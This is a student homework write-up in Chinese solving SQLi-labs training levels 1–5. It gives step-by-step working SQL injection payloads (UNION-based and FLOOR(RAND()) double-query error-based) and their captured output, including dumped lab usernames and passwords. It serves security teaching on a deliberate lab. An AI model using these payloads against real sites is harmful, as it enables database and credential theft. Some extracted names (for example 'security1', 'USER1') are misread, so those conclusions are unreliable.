培华安全初级 第一次作业

SQLi-labs Less1~5

通用背景知识

1.1 SQL 注入基本流程

判断注入点 → 判断注入类型 → 判断列数 → 判断回显位置 → 提取数据

1.2 常用测试语句

用途语句
判断注入点?id=1'
注释绕过--+#
判断列数?id=1' order by N--+
UNION 注入?id=-1' union select 1,2,3--+

Less-1 Error Based - String(基于报错的字符串错误)

sql语句结构

$sql="SELECT * FROM users where id='$id' LIMIT 0,1";

攻击步骤

Step 1 判断注入点

访问/?id=1访问正常;
访问/?id=1'发生错误,报错You have an error in your SQL syntax...use near ''1'' LIMIT 0,1' at line 1,确定注入点为单引号'id='$id'

Step 2 判断列数
?id=1' order by 3--+ ?id=1' order by 4--+
  • order by 3正常 → 至少 3 列
  • order by 4报错Unknown column '4' in 'order by'→ 共 3 列
Step 3: 判断回显位置
?id=-1' union select 1,2,3--+

页面显示数字 2 和 3,即回显位置在第 2、3 列

Step 4 获取数据库信息
?id=-1' union select 1,version(),database()--+

成功返回:Your Login name:11.8.6-MariaDB-5ubuntu0.1 from Ubuntu Your Password:security

Step 5: 提取表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

返回:

Your Login name:users,uagents,emails,referers Your Password:3
Step 6: 提取列名和数据
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns WHERE table_name='users'--+ ?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

返回:

Your Login name:users,users,users,uagents,uagents,uagents,uagents,emails,emails,referers,referers,referers Your Password:3 Your Login name:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin:admin123,test:test123,user1:pass1,user2:pass2,john:john123,mike:mike123,sarah:sarah123,david:david123,emma:emma123,chris:chris123,alex:alex123,lisa:lisa123,tom:tom123,jerry:jerry123,admin2:admin456 Your Password:3

Less-2 Error Based - Integer(基于报错的整数型注入)

sql语句结构

$sql="SELECT * FROM users where id='$id' LIMIT 0,1";

攻击步骤

Step 1 判断注入点

访问/?id=1访问正常;
访问/?id=1'发生错误,报错You have an error in your SQL syntax...use near '' LIMIT 0,1' at line 1,确认为整数型(id=$id

Step 2 判断列数
?id=1 order by 3--+ ?id=1 order by 4--+
Step 3 判断回显位置
?id=-1 union select 1,2,3--+
Step 4 提取数据
?id=-1 union select 1,group_concat(username,0x3a,password),3 from users --+

Less-3 Error Based - String (with Twist)(基于报错的字符型注入(带括号))

sql语句结构
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
攻击步骤
Step 1 判断注入点

访问/?id=1访问正常;
访问/?id=1'发生错误,报错You have an error in your SQL syntax...use near ''1'') LIMIT 0,1' at line 1,确定注入点为')

尝试闭合括号:访问?id=1')--+,页面正常显示登录信息

Step 2 判断列数
?id=1') order by 3--+ ?id=1') order by 4--+
Step 3 提取数据
?id=-1') union select 1,2,3--+ ?id=-1') union select 1,version(),database()--+ ?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+

Less-4 Error Based - Double Quotes String(基于报错的字符型注入(双引号))

sql语句结构
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
攻击步骤
Step 1 判断注入点

访问/?id=1访问正常;
访问/?id=1'访问正常;
访问?id=1"发生错误,报错You have an error in your SQL syntax...use near '"1"") LIMIT 0,1' at line 1,确定注入点为")

尝试闭合括号:访问?id=1")--+,页面正常显示登录信息

Step 2 判断列数
?id=1") order by 3--+ ?id=1") order by 4--+
Step 3 提取数据
?id=-1") union select 1,2,3--+ ?id=-1") union select 1,version(),database()--+ ?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+

Less-5 Double Query - Single Quotes - String(双查询注入(无显错))

sql语句结构
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
Double Query 原理

Double Query 利用了MySQL在处理GROUP BY(分组)和COUNT()(聚合函数)的bug,当MySQL执行GROUP BY时,会建立一张内部虚拟表,用于记录每个Key出现的次数。

当查询FLOOR(RAND()*2)这类动态随机值时,数据库会两次计算这个随机值:第一次检查临时表中是否存在该分组Key,第二次尝试插入该Key到临时表中。两次计算的结果大概率不一致,就会触发「重复Key冲突」的报错。

当冲突发生时,MySQL会把触发错误的分组键完整输出在错误提示里,攻击者可以提前把想要窃取的数据库敏感信息(比如库名、表名)用CONCAT()函数拼进这个分组键里,让敏感数据直接暴露在报错信息中。

Double Query 利用

当页面不显示错误信息时,可以通过以下方式间接获取数据:

SELECTcount(*)FROMinformation_schema.tablesGROUPBYconcat(version(),floor(rand(0)*2))

执行后会报错并显示类似:Duplicate entry '5.7.26-1' for key 'group_key'

攻击步骤
Step 1 判断注入点

访问/,返回Please input the ID as parameter with numeric value(请以数字形式输入ID作为参数)

访问/?id=1访问,返回You are in...........

访问/?id=1'发生错误,报错You have an error in your SQL syntax...use near ''1'' LIMIT 0,1' at line 1,确定注入点为'

Step 2 判断列数
?id=1' order by 3--+ ?id=1' order by 4--+

其中3返回You are in...........,有正常返回(无显示)

4无法正常返回,页面为空

由此可判定共3列

Step 3 尝试使用 Double Query 提取版本
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+

成功返回:Duplicate entry '11.8.6-MariaDB-5ubuntu0.1 from Ubuntu1' for key 'group_key'

获取到版本:11.8.6-MariaDB-5ubuntu0.1 from Ubuntu

Step 4: 提取数据库名
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+

成功返回:Duplicate entry 'security1' for key 'group_key'

获取到数据库名:security1

Step 5: 提取表名
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+

成功返回:Duplicate entry 'users1' for key 'group_key'

获取到表名:users1

Step 6: 提取列名
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+

成功返回:Duplicate entry 'USER1' for key 'group_key'

获取到列名:USER1

Step 7: 提取数据
?id=1' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT username FROM users LIMIT 0,1),0x3a,(SELECT password FROM users LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+

成功返回:Duplicate entry 'Dumb:Dumb1' for key 'group_key'

获取到用户名及其密码: 用户名:Dumb密码:Dumb

以此类推:修改所有的LIMIT 0,1LIMIT 1,1LIMIT 2,1以获取第二组、第三组用户名及其密码:

使用LIMIT 1,1成功获取Duplicate entry 'Angelina:I-kill-you1' for key 'group_key'(用户名:Angelina密码:I-kill-you

使用LIMIT 2,1成功获取Duplicate entry 'Dummy:p@ssword1' for key 'group_key'(用户名:Dummy密码:p@ssword